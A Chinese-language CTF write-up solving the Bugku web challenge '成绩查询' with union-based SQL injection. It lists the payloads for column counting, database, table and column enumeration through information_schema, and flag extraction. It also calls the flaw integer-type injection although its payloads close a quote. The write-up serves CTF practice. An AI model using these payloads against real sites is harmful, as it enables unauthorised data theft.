bugku web 成绩查询

输入1试试

输入2的回显

输入3的回显

怀疑是sql注入
输入1'的回显,报错

1 and 1=1

回显如下

就可以确定时sql注入里的整数型注入了
1、查字段用order by
先试试id=1' order by 4#

用 ' 闭合前面的句子，用 # 注释后面的句子
再试试id=1' order by 5#

没有回显，就说明这里只有四个字段。
2、然后就是要看它的显位点有几个，用id=-1' union select 1,2,3,4#，这里用id=-1时因为如果用id=1或者其他数据库里面有的字段，回显就会给出数据库里的数据，我们就不能查询出我们本来要查询的数据了

可以看到显位点分别时2，3，4
3、接下来就要查询数据库名（爆库）

id=-1' union select 1,database(),user(),version()#

数据库名为skctf
4、爆表

id=-1' union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#

爆出两个表名，分别时是fl4g，sc
5、爆列名

id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'#

6、最后就是查数据了

id=-1' union select 1,skctf_flag,user(),version() from fl4g#

典型的整数型注入